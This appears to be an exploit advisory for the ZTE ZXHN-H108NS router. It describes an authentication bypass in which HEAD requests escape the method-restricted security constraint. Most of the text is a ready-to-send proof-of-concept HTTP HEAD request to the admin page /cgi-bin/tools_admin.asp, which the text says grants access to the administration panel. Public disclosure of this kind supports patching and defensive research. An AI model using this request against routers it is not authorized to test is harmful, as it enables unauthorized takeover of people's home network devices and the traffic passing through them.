ZTE ZXHN-H108NS Authentication Bypass

Risk: Medium
Local: No
Remote: Yes

# Exploit Title: Router ZTE-H108NS - Authentication Bypass # Date: 19-11-2022 # Exploit Author: George Tsimpidas # Vendor: https://www.zte.com.cn/global/ # Firmware: H108NSV1.0.7u_ZRD_GR2_A68 # CVE: N/A # Tested on: Debian 5.18.5 Description : When specific http methods are listed within a security constraint, then only those methods are protected. Router ZTE-H108NS defines the following http methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed operation which allows the HEAD to be implemented correctly with every Response Status Code. Proof Of Concept : Below request bypasses successfully the Basic Authentication, and grants access to the Administration Panel of the Router. HEAD /cgi-bin/tools_admin.asp HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: SESSIONID=1cd6bb77 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0

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